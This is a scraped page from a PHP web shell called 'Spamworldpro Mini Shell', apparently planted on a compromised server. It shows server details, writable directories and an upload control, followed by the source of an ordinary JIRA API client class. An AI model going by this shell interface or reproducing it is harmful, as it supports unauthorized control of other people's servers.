Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/ts.corals.io/corals-api/Corals/modules/Timesheet/Integration/JIRA/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/ts.corals.io/corals-api/Corals/modules/Timesheet/Integration/JIRA/Client.php
<?php

namespace Corals\Modules\Timesheet\Integration\JIRA;

use GuzzleHttp\Exception\BadResponseException;
use Psr\Http\Message\ResponseInterface;

class Client
{
    protected \GuzzleHttp\Client $client;

    /**
     * @var ResponseInterface
     */
    protected $response;

    public function __construct($host = null)
    {
        $this->client = new \GuzzleHttp\Client([
            'base_uri' => ($host ?: config('ts_jira.host')) . '/' . config('ts_jira.basePath'),
            'headers' => [
                'Authorization' => 'Basic ' . config('ts_jira.token'),
            ]
        ]);
    }

    public function getResponse()
    {
        return $this->response;
    }

    protected function handleException($exception)
    {
        $parsedResponse = json_decode($exception->getResponse()->getBody()->getContents(), true);

        throw new \Exception(join(',', data_get($parsedResponse, 'errorMessages')), $exception->getCode());
    }

    public function getParsedResponse()
    {
        return json_decode($this->response->getBody()->getContents(), true);
    }

    public function post($uri, $options = [])
    {
        try {
            $this->response = $this->client->post($uri, $options);

            return $this->getParsedResponse();
        } catch (BadResponseException $exception) {
            $this->handleException($exception);
        }
    }

    /**
     * @param $uri
     * @param $options
     * @return array
     * @throws \GuzzleHttp\Exception\GuzzleException
     */
    public function get($uri, $options = [])
    {
        try {
            $this->response = $this->client->get($uri, $options);

            return $this->getParsedResponse();
        } catch (BadResponseException $exception) {
            $this->handleException($exception);
        }
    }
}

Spamworldpro Mini